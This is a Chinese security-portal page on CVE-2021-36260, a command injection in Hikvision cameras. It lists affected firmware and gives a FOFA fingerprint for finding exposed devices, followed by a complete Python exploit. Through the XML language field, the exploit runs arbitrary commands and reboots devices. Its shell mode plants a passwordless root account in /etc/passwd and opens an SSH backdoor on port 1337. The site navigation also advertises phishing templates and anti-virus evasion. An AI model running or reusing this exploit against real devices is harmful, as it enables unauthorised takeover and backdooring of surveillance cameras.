黑客街 黑客街 黑客街 黑客街
  • 职业导航
    • CTF
    • 程序员
  • 黑客推荐
  • 漏洞平台
    • Src众测
    • 国内平台
    • 国外平台
    • 乌云镜像站
  • 安全街
    • 安全资讯
    • 安全峰会
    • 区块链安全
    • 安全团队
    • 交流社区
    • 安全博客
    • PC安全
    • 服务器安全
  • 安全在线
    • 安全思维脑图
    • 在线学习
    • CTF
    • 实战靶场
    • 教育培训
  • 安全感知
    • 威胁情报
    • 勒索病毒
    • 文件分析
    • 被黑统计
  • 黑客神器
    • 搜索引擎
    • 加解密
    • ip检测
    • 短信接码
    • 邮箱伪造
    • web漏洞检测
    • web查询
    • 指纹识别
    • 二进制
  • APT
    • 学习哟
    • 信息收集
    • 木马免杀
    • 流量代理
    • 横向渗透
    • 远程控制
  • 墙外翻
    • 搜索
    • 暗网
    • 影频
  • 黑客工具
    • 综合工具
    • 代理隧道
    • webshell管理
黑客街 黑客街
  • 首页
  • 漏洞库
  • 街头小贩
  • 安全聚合
  • 安全博客
  • 黑客小镇
    • 匿名代理追踪
    • 杀软对比查询
    • 匿名聊天室
    • 反弹shell
    • 密码查
  • 行业导航
    • 程序员导航
    • CTF导航
    • 安全书籍
    • 娱乐导航
    • 自定义导航
  • 更多
    • 商务合作
    • 关于本站
    • 我有好建议
    • 申请收录

漏洞库

OA
    万户
    • 万户OA download_old.jsp 任意文件下载漏洞
    • 万户OA download_ftp.jsp 任意文件下载漏洞
    • 万户OA fileUpload.controller 任意文件上传漏洞
    • 万户OA showResult.action 后台SQL注入漏洞
    • 万户OA downloadhttp.jsp 任意文件下载漏洞
    • 万户OA smartUpload.jsp 任意文件上传漏洞
    泛微
    • 泛微OA E-cology <= 9.0 WorkflowServiceXml RCE
    • 泛微OA DBconfigReader.jsp 数据库配置信息泄漏漏洞
    • 泛微OA E-Bridge saveYZJFile 任意文件读取漏洞
    • 泛微OA E-Cology BshServlet 远程代码执行漏洞 CNVD-2019-32204
    • 泛微OA WorkflowCenterTreeData SQL注入漏洞
    • 泛微OA weaver.common.Ctrl 任意文件上传漏洞
    • 泛微OA V9 uploadOperation.jsp 任意文件上传
    • 泛微OA sysinterfacecodeEdit.jsp 任意文件上传漏洞
    • 泛微OA V8 ln.FileDownload 任意文件读取漏洞
    • 泛微OA V8 getdata.jsp SQL注入漏洞
    • 泛微OA E-Weaver SignatureDownLoad 任意文件读取漏洞
    • 泛微OA E-Office UserSelect 未授权访问漏洞
    • 泛微OA E-Office UploadFile.php 任意文件上传漏洞 CNVD-2021-49104
    • 泛微OA E-Office officeserver.php 任意文件读取漏洞
    • 泛微OA E-Office mysql_config.ini 数据库信息泄漏漏洞
    • 泛微OA E-Office group_xml.php SQL注入漏洞
    • 泛微OA E-Cology users.data 敏感信息泄漏
    • 泛微OA E-Cology LoginSSO.jsp SQL注入漏洞 CNVD-2021-33202
    • 泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞
    • 泛微OA E-Cology getSqlData SQL注入漏洞
    通达
    • 通达OA 部分漏洞信息整合
    • 通达OA v2014 get_contactlist.php 敏感信息泄漏漏洞
    • 通达OA-v2017-action_upload.php-任意文件上传漏洞
    • 通达OA v2017 video_file.php 任意文件下载漏洞
    • 通达OA v11.2 upload.php 后台任意文件上传漏洞
    • 通达OA v11.5 login_code.php 任意用户登录
    • 通达OA v11.5-8 logincheck_code.php 登陆绕过漏洞
    • 通达OA v11.5 swfupload_new.php SQL注入漏洞
    • 通达OA v11.6 print.php 任意文件删除&RCE
    • 通达OA v11.6 report_bi.func.php SQL注入漏洞
    • 通达OA v11.7 auth_mobi.php 在线用户登录漏洞
    • 通达OA v11.7 delete_cascade.php 后台SQL注入
    • 通达OA v11.8 api.ali.php 任意文件上传漏洞
    • 通达OA v11.8 getway.php 远程文件包含漏洞
    • 通达OA v11.8 update.php 后台文件包含XSS漏洞
    • 通达OA v11.8 update.php 后台文件包含命令执行漏洞
    • 通达OA v11.9 upsharestatus 后台SQL注入漏洞
    致远
    • 致远OA A6 config.jsp 敏感信息泄漏漏洞
    • 致远OA A6 createMysql.jsp 数据库敏感信息泄露
    • 致远OA A6 DownExcelBeanServlet 用户敏感信息泄露
    • 致远OA A6 initDataAssess.jsp 用户敏感信息泄露
    • 致远OA A6 setextno.jsp SQL注入漏洞
    • 致远OA A6 test.jsp SQL注入漏洞
    • 致远OA A8 htmlofficeservlet 任意文件上传漏洞
    • 致远OA A8 status.jsp 信息泄露漏洞
    • 致远OA ajax.do 任意文件上传 CNVD-2021-01627
    • 致远OA ajax.do上传文件漏洞
    • 致远OA getSessionList.jsp Session泄漏漏洞
    • 致远OA webmail.do 任意文件下载 CNVD-2020-62422
    • 致远OA 前台getshell
    • 致远OA-漏洞小汇总
    • 致远OA 默认密码
    蓝凌
    • 蓝凌OA admin.do JNDI远程命令执行
    • 蓝凌OA custom.jsp 任意文件读取漏洞
    • 蓝凌OA EKP 后台SQL注入漏洞 CNVD-2021-01363
    • 蓝凌OA sysSearchMain.do 远程命令执行漏洞
    • 蓝凌OA treexml.tmpl 远程命令执行漏洞
网络设备漏洞
    D-Link
    • D-Link AC管理系统 默认账号密码
    • D-LINK DAP-2020 webproc 任意文件读取漏洞 CVE-2021-27250
    • D-Link DAR-8000 importhtml.php 远程命令执行漏洞
    • D-Link DCS系列监控 账号密码信息泄露漏洞 CVE-2020-25078
    • D-Link Dir-645 getcfg.php 账号密码泄露漏洞 CVE-2019-17506
    • D-Link DSL-28881A FTP配置错误 CVE-2020-24578
    • D-Link DSL-28881A 信息泄露 CVE-2020-24577
    • D-Link DSL-28881A 未授权访问 CVE-2020-24579
    • D-Link DSL-28881A 远程命令执行 CVE-2020-24581
    • D-Link DSR-250N 万能密码漏洞
    • D-Link ShareCenter DNS-320 system_mgr.cgi 远程命令执行漏洞
    • D-Link DSL-3782 Code execution(CVE-2018-8941)
    • D-Link rce CVE-2019-16920
    小米路由器
    • 小米 路由器 c_upload 远程命令执行漏洞 CVE-2019-18370
    • 小米 路由器 extdisks 任意文件读取漏洞 CVE-2019-18371
    锐捷
    • 锐捷 EG易网关 branch_passw.php 远程命令执行
    • 锐捷 EG易网关 cli.php 远程命令执行漏洞
    • 锐捷 EG易网关 download.php 任意文件读取漏洞
    • 锐捷 EG易网关 phpinfo.view.php 信息泄露漏洞
    • 锐捷 EG易网关 管理员账号密码泄露漏洞
    • 锐捷 ISG 账号密码泄露漏洞
    • 锐捷 NBR 1300G路由器 越权CLI命令执行漏洞
    • 锐捷e.web NBR路由器 远程命令执行漏洞 CNVD-2021-09650
    • 锐捷 RG-UAC 账号密码信息泄露 CNVD-2021-14536
    • 锐捷 Smartweb管理系统 密码信息泄露漏洞
    • 锐捷 SSL VPN 越权访问漏洞
    Tenda
    • Tenda W15E企业级路由器 RouterCfm.cfg 配置文件泄漏漏洞
    • Tenda 11N无线路由器 Cookie 越权访问漏洞
    • Tenda-AX1806路由器多处栈溢出
    • CVE-2018-18708:Tenda路由器缓冲区溢出
    TP-Link
    • TP-Link AC1750 预认证远程代码执行漏洞(CVE-2021-27246)
    • TP-Link TL-WR841N远程代码执行漏洞(CVE-2020-35576)
    • TP-Link WR2041 v1拒绝服务漏洞(CVE-2021-26827)
    • TP-link 栈溢出漏洞(CVE-2021-29302)
    HIKVISION
    • HIKVISION DS/IDS/IPC 等设备 远程命令执行漏洞 CVE-2021-36260
    • HIKVISION 流媒体管理服务器 user.xml 账号密码泄漏漏洞
    • HIKVISION 流媒体管理服务器 后台任意文件读取漏洞 CNVD-2021-14544
    • HIKVISION 视频编码设备接入网关 $DATA 任意文件读取
    • HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞
    • HIKVISION 联网网关 downdb.php 任意文件读取漏洞
    移动
    • 中国移动 禹路由 ExportSettings.sh 敏感信息泄露漏洞 CNVD-2020-67110
    • 中国移动 禹路由 simple-index.asp 越权访问漏洞 CNVD-2020-55983
    • 中国移动 HG6543C4
    电信
    • 电信 中兴ZXHN F450A网关 默认管理员账号密码漏洞
    • 电信 天翼网关F460 web_shell_cmd.gch 远程命令执行漏洞
    • 电信 网关配置管理系统 login.php SQL注入漏洞
    华为
    • HG659 lib 任意文件读取漏洞
    • DG8045 deviceinfo 信息泄漏漏洞
安全设备漏洞
    维盟
    • Wayos AC集中管理系统默认弱口令 CNVD-2021-00876
    • Wayos 防火墙 后台命令执行漏洞
    • Wayos 防火墙 账号密码泄露漏洞
    启明星辰
    • 启明星辰 天清汉马USG防火墙 逻辑缺陷漏洞
    • 启明星辰 天清汉马USG防火墙 默认口令漏洞
    • 天珣内网安全风险管理与审计系统V6.6.9.5 SQL注入漏洞
    • 天玥运维安全网关Sql注入漏洞
    奇安信
    • 网康 NS-ASG安全网关 cert_download.php 任意文件读取漏洞
    • 网康 下一代防火墙 router 远程命令执行漏洞
    • 网神 下一代极速防火墙 pki_file_download 任意文件读取漏洞
    • 天擎 - 2021年前版本 sql注入
    • 天擎 任意文件上传
    • 网康 (2014年)多个产品通杀漏洞
    深信服
    • 深信服上网行为管理系统多处漏洞(2013年)
    • 应用交付管理系统权限绕过(2012年)
    • SSL VPN Pre Auth 任意密码重置 (2020年)
    • 深信服 SSL VPN - Pre Auth 修改绑定手机 (2020年)
    • 深信服 SSL VPN 解密 (本地)
    • EDR远程命令执行 CNVD-2020-46552
    • 终端检测相应平台(EDR) 任意用户登陆漏洞
    • 终端检测相应平台(EDR) 任意命令执行漏洞(二)
    天融信
    • TopApp-LB enable_tool_debug.php 远程命令执行漏洞
    • opApp-LB 负载均衡系统Sql注入漏洞
    • OPAPP-LB 负载均衡命令执行
    • 数据防泄漏系统越权修改管理员密码
    安恒
    • 明御WEB应用防火墙 report.php 任意用户登录漏洞
    • 数据大脑 API 网关任意密码重置漏洞
    齐治堡垒机
    • (CNVD-2019-09593)齐治堡垒机 ShtermClient-2.1.1 命令执行漏洞
    • (CNVD-2019-17294)齐治堡垒机 后台命令执行漏洞
    • (CNVD-2019-20835)齐治堡垒机 前台远程命令执行漏洞
    • 任意用户登录漏洞 (2020)
    绿盟
    • UTS绕过登录
    • uts信息泄露
    • BAS日志数据安全性分析系统 accountmanage 未授权访问漏洞
    Teleport堡垒机
    • get-file 后台任意文件读取漏洞
    • do-login 任意用户登录漏洞
    H3C
    • IMC dynamiccontent.properties.xhtm 远程命令执行 CNVD-2021-39067
    • SecParh堡垒机 data_provider.php 远程命令执行漏洞
    • SecParh堡垒机 get_detail_view.php 任意用户登录漏洞
    金山
    • 金山 V8 终端安全系统 get_file_content.php 任意文件读取漏洞
    • 金山 V8 终端安全系统 downfile.php 任意文件读取漏洞
    • 金山 V8 终端安全系统 pdf_maker.php 命令执行漏洞
    中远麒麟
    • iAudit堡垒机 get_luser_by_sshport.php 远程命令执行漏洞
应用漏洞
    向日葵
    • 向日葵 check 远程命令执行漏洞 CNVD-2022-10270
    VMware
    • VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975
    • VMware vCenter vid 任意文件读取漏洞
    • VMware Workspace ONE Access SSTI漏洞 CVE-2022-22954
    • CVE-2021-21972 vCenter Serve 任意文件上传
    • CVE-2021-22005
    • CVE-2021-44228 log4j漏洞
    Chrome
    • Chrome 远程命令执行漏洞
    openssl
    • 心脏滴血漏洞 CVE-2014-0160
    OpenSSH
    • 命令注入漏洞 CVE-2020-15778

渗透测试

应急响应
    第三章 应急响应之实战分析
    • SSH暴力破解
    • (Linux)挖矿木马分析
    • (linux)记一次与挖矿木马的较量
    • (web)记一次Windows下的应急过程
    • (windows)记一次简单的应急响应-驱动人生
    第二章 应急响应之日志分析
    • 数据库日志分析
    • 中间件日志分析
    • 系统日志分析
    第一章. 应急之排查方法
    • Windows 排查方法
    • Linux下排查方法
社工钓鱼
  • 社会工程学攻击
  • 邮件模板
    • 邮件模板-升级办公OA
    • 邮件模板-处罚通知模板
    • 邮件模板-放假通知
    • 邮件模板-学校网络学习平台升级通知
    • 邮件模板-产品升级公告通知
    • 邮件模板-员工涨薪通知
    社会工程学攻击-简单钓鱼文件制作
    • 利用Cobalt strike发送钓鱼邮件
    • Word邮件与 CSV注入
    • 自解压捆绑文件钓鱼
    社工钓鱼案例整理
    • 案例1--警惕:最新钓鱼邮件案例分析
    • 案例2–蓝队视角下的“HVV利剑”-钓鱼攻击案例分享与总结
    • 案例3-X站钓鱼邮件应急响应案例分析
    • 案例4-某大型攻防演练中红队钓鱼邮件攻击手法复盘
    • 案例5-币安钓鱼案例参考
    • 案例6-使用新冠疫情发起钓鱼攻击的最新案例
    • 案例7-上海交通大学案例参考
    • 案例8-钓鱼邮件模板
    • 案例9-上海理工大学案例参考
    • 案例10-钓鱼邮件常见小技巧
Web常见漏洞
  • Web常见漏洞描述及修复建议
  • Web漏洞集
    • SQL注入漏洞基本原理
    • 任意文件下载
    • 敏感文件
    • 文件包含
    • 文件上传
    • 命令执行rce
    • 代码执行
    • XML外部实体注入
    • 逻辑漏洞
      • 验证码逻辑
      • 支付漏洞
      • 越权访问
      • 会话劫持
      • 会话重放漏洞
      • 会话固定
      • 任意用户密码重置
      未授权访问
      • 常见的未授权访问漏洞
      • Redis未授权访问
      • MongoDB 未授权访问
      • Memcached 未授权访问
      • Zookeeper未授权访问
      • Rsync 未授权访问漏洞
      • Docker未授权访问
      • Jenkins未授权访问
      • Hadoop 未授权访问
      • JBOSS未授权访问漏洞
      • Druid未授权访问
      信息泄露
      • 敏感信息泄漏
      • 备份文件泄露
      • .DS_Store源码泄露
      • CVS泄漏
      • .hg源码泄漏
      • .SVN源码泄露
      • .Git源码泄露
      浏览器域
      • 同源策略-Jsonp劫持-CORS跨域
      • XSS跨站
      • CSRF
      • SSRF
  • Home
  • 知识文库
  • 漏洞库
  • 网络设备漏洞
  • HIKVISION
  • HIKVISION DS/IDS/IPC 等设备 远程命令执行漏洞 CVE-2021-36260

HIKVISION DS/IDS/IPC 等设备 远程命令执行漏洞 CVE-2021-36260

目录
  • 漏洞描述
  • 漏洞影响
  • FOFA
  • 漏洞复现
  • POC

漏洞描述 #

海康威视部分产品中的web模块存在一个命令注入漏洞,由于对输入参数校验不充分,攻击者可以发送带有恶意命令的报文到受影响设备,成功利用此漏洞可以导致命令执行。海康威视已发布版本修复该漏洞

漏洞影响 #

  1. 易受攻击的网络摄像机固件
产品类型 影响版本
IPC_E0 IPC_E0_CN_STD_5.4.6_180112
IPC_E1 未知
IPC_E2 IPC_E2_EN_STD_5.5.52_180620
IPC_E4 未知
IPC_E6 IPCK_E6_EN_STD_5.5.100_200226
IPC_E7 IPCK_E7_EN_STD_5.5.120_200604
IPC_G3 IPC_G3_EN_STD_5.5.160_210416
IPC_G5 IPC_G5_EN_STD_5.5.113_210317
IPC_H1 IPC_H1_EN_STD_5.4.61_181204
IPC_H5 IPCP_H5_EN_STD_5.5.85_201120
IPC_H8 Factory installed firmware mid 2021
IPC_R2 IPC_R2_EN_STD_V5.4.81_180203
  1. 易受攻击的 PTZ 摄像机固件
产品类型 影响版本
IPD_E7 IPDEX_E7_EN_STD_5.6.30_210526
IPD_G3 IPDES_G3_EN_STD_5.5.42_210106
IPD_H5 IPD_H5_EN_STD_5.5.41_200911
IPD_H7 IPD_H7_EN_STD_5.5.40_200721
IPD_H8 IPD_H8_EN_STD_5.7.1_210619
  1. 易受攻击的旧固件
产品类型 影响版本
IPC_R7 5.4.x
IPD_R7 5.4.x
IPC_G0 5.4.x
IPC_H3 5.4.x
IPD_H3 5.4.x
  1. OEM 固件

FOFA #

"671-1e0-587ec4a1"

漏洞复现 #

登录页面

HIKVISION DS/IDS/IPC 等设备 远程命令执行漏洞 CVE-2021-36260

基于POC执行以下命令

python CVE-2021-36260.py --rhost 127.0.0.1 --rport 8081 --cmd "ls"
HIKVISION DS/IDS/IPC 等设备 远程命令执行漏洞 CVE-2021-36260

POC #

# Exploit Title: Hikvision Web Server Build 210702 - Command Injection
# Exploit Author: bashis
# Vendor Homepage: https://www.hikvision.com/
# Version: 1.0
# CVE: CVE-2021-36260
# Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

# All credit to Watchful_IP

#!/usr/bin/env python3

"""
Note:
1)  This code will _not_ verify if remote is Hikvision device or not.
2)  Most of my interest in this code has been concentrated on how to
    reliably detect vulnerable and/or exploitable devices.
    Some devices are easy to detect, verify and exploit the vulnerability,
    other devices may be vulnerable but not so easy to verify and exploit.
    I think the combined verification code should have very high accuracy.
3)  'safe check' (--check) will try write and read for verification
    'unsafe check' (--reboot) will try reboot the device for verification

[Examples]
Safe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check

Safe and unsafe vulnerability/verify check:
(will only use 'unsafe check' if not verified with 'safe check')
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot

Unsafe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot

Launch and connect to SSH shell:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell

Execute command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"

Execute blind command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"

$./CVE-2021-36260.py -h
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check]
                         [--reboot] [--shell] [--cmd CMD]
                         [--cmd_blind CMD_BLIND] [--noverify]
                         [--proto {http,https}]

optional arguments:
  -h, --help            show this help message and exit
  --rhost RHOST         Remote Target Address (IP/FQDN)
  --rport RPORT         Remote Target Port
  --check               Check if vulnerable
  --reboot              Reboot if vulnerable
  --shell               Launch SSH shell
  --cmd CMD             execute cmd (i.e: "ls -l")
  --cmd_blind CMD_BLIND
                        execute blind cmd (i.e: "reboot")
  --noverify            Do not verify if vulnerable
  --proto {http,https}  Protocol used
$
"""

import os
import argparse
import time

import requests
from requests import packages
from requests.packages import urllib3
from requests.packages.urllib3 import exceptions


class Http(object):
    def __init__(self, rhost, rport, proto, timeout=60):
        super(Http, self).__init__()

        self.rhost = rhost
        self.rport = rport
        self.proto = proto
        self.timeout = timeout

        self.remote = None
        self.uri = None

        """ Most devices will use self-signed certificates, suppress any warnings """
        requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

        self.remote = requests.Session()

        self._init_uri()

        self.remote.headers.update({
            'Host': f'{self.rhost}:{self.rport}',
            'Accept': '*/*',
            'X-Requested-With': 'XMLHttpRequest',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
        })
        """
        self.remote.proxies.update({
            # 'http': 'http://127.0.0.1:8080',
        })
        """

    def send(self, url=None, query_args=None, timeout=5):

        if query_args:
            """Some devices can handle more, others less, 22 bytes seems like a good compromise"""
            if len(query_args) > 22:
                print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
                return None

        """This weird code will try automatically switch between http/https
        and update Host
        """
        try:
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)
        except requests.exceptions.ConnectionError:
            self.proto = 'https' if self.proto == 'http' else 'https'
            self._init_uri()
            try:
                if url and not query_args:
                    return self.get(url, timeout)
                else:
                    data = self.put('/SDK/webLanguage', query_args, timeout)
            except requests.exceptions.ConnectionError:
                return None
        except requests.exceptions.RequestException:
            return None
        except KeyboardInterrupt:
            return None

        """302 when requesting http on https enabled device"""

        if data.status_code == 302:
            redirect = data.headers.get('Location')
            self.uri = redirect[:redirect.rfind('/')]
            self._update_host()
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)

        return data

    def _update_host(self):
        if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
            self.remote.headers.update({
                'Host': self.uri[self.uri.rfind('://') + 3:],
            })

    def _init_uri(self):
        self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))

    def put(self, url, query_args, timeout):
        """Command injection in the <language> tag"""
        query_args = '<?xml version="1.0" encoding="UTF-8"?>' 
                     f'<language>$({query_args})</language>'
        return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)

    def get(self, url, timeout):
        return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)


def check(remote, args):
    """
    status_code == 200 (OK);
        Verified vulnerable and exploitable
    status_code == 500 (Internal Server Error);
        Device may be vulnerable, but most likely not
        The SDK webLanguage tag is there, but generate status_code 500 when language not found
        I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
        (Issue: Could also be other directory than 'webLib', r/o FS etc...)
    status_code == 401 (Unauthorized);
        Defiantly not vulnerable
    """
    if args.noverify:
        print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"')
        return True

    print(f'[*] Checking remote "{args.rhost}:{args.rport}"')

    data = remote.send(url='/', query_args=None)
    if data is None:
        print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"')
        return None
    print('[i] ETag:', data.headers.get('ETag'))

    data = remote.send(query_args='>webLib/c')
    if data is None or data.status_code == 404:
        print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision')
        return False
    status_code = data.status_code

    data = remote.send(url='/c', query_args=None)
    if not data.status_code == 200:
        """We could not verify command injection"""
        if status_code == 500:
            print(f'[-] Could not verify if vulnerable (Code: {status_code})')
            if args.reboot:
                return check_reboot(remote, args)
        else:
            print(f'[+] Remote is not vulnerable (Code: {status_code})')
        return False

    print('[!] Remote is verified exploitable')
    return True


def check_reboot(remote, args):
    """
    We sending 'reboot', wait 2 sec, then checking with GET request.
    - if there is data returned, we can assume remote is not vulnerable.
    - If there is no connection or data returned, we can assume remote is vulnerable.
    """
    if args.check:
        print('[i] Checking if vulnerable with "reboot"')
    else:
        print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"')
    remote.send(query_args='reboot')
    time.sleep(2)
    if not remote.send(url='/', query_args=None):
        print('[!] Remote is vulnerable')
        return True
    else:
        print('[+] Remote is not vulnerable')
        return False


def cmd(remote, args):
    if not check(remote, args):
        return False
    data = remote.send(query_args=f'{args.cmd}>webLib/x')
    if data is None:
        return False

    data = remote.send(url='/x', query_args=None)
    if data is None or not data.status_code == 200:
        print(f'[!] Error execute cmd "{args.cmd}"')
        return False
    print(data.text)
    return True


def cmd_blind(remote, args):
    """
    Blind command injection
    """
    if not check(remote, args):
        return False
    data = remote.send(query_args=f'{args.cmd_blind}')
    if data is None or not data.status_code == 500:
        print(f'[-] Error execute cmd "{args.cmd_blind}"')
        return False
    print(f'[i] Try execute blind cmd "{args.cmd_blind}"')
    return True


def shell(remote, args):
    if not check(remote, args):
        return False
    data = remote.send(url='/N', query_args=None)

    if data.status_code == 404:
        print(f'[i] Remote "{args.rhost}" not pwned, pwning now!')
        data = remote.send(query_args='echo -n P::0:0:W>N')
        if data.status_code == 401:
            print(data.headers)
            print(data.text)
            return False
        remote.send(query_args='echo :/:/bin/sh>>N')
        remote.send(query_args='cat N>>/etc/passwd')
        remote.send(query_args='dropbear -R -B -p 1337')
        remote.send(query_args='cat N>webLib/N')
    else:
        print(f'[i] Remote "{args.rhost}" already pwned')

    print(f'[*] Trying SSH to {args.rhost} on port 1337')
    os.system(f'stty echo; stty iexten; stty icanon; 
    ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null 
    P@{args.rhost} -p 1337')


def main():
    print('[*] Hikvision CVE-2021-36260n[*] PoC by bashis <mcw noemail eu> (2021)')

    parser = argparse.ArgumentParser()
    parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)')
    parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port')
    parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable')
    parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable')
    parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell')
    parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")')
    parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")')
    parser.add_argument(
        '--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable'
    )
    parser.add_argument(
        '--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used'
    )
    args = parser.parse_args()

    remote = Http(args.rhost, args.rport, args.proto)

    try:
        if args.shell:
            shell(remote, args)
        elif args.cmd:
            cmd(remote, args)
        elif args.cmd_blind:
            cmd_blind(remote, args)
        elif args.check:
            check(remote, args)
        elif args.reboot:
            check_reboot(remote, args)
        else:
            parser.parse_args(['-h'])
    except KeyboardInterrupt:
        return False


if __name__ == '__main__':
    main()

 

What are your Feelings
更新于 2022年10月2日
HIKVISION 流媒体管理服务器 user.xml 账号密码泄漏漏洞
目录
  • 漏洞描述
  • 漏洞影响
  • FOFA
  • 漏洞复现
  • POC
黑客街 黑客街
黑客街导航站是一款努力把互联网安全站点集接到一起,希望为每个小伙伴提供良好的"安全"体验。

街头小贩 匿名追踪 杀软对比

黑客街公众号黑客街

黑客街公众号

我要合作黑客街

我要合作

关于我们 免责说明 商务合作

Copyright © 2022 黑客街   豫ICP备19005024号    站点地图

  
常用
搜索
工具
社区
生活
求职
    热门推荐: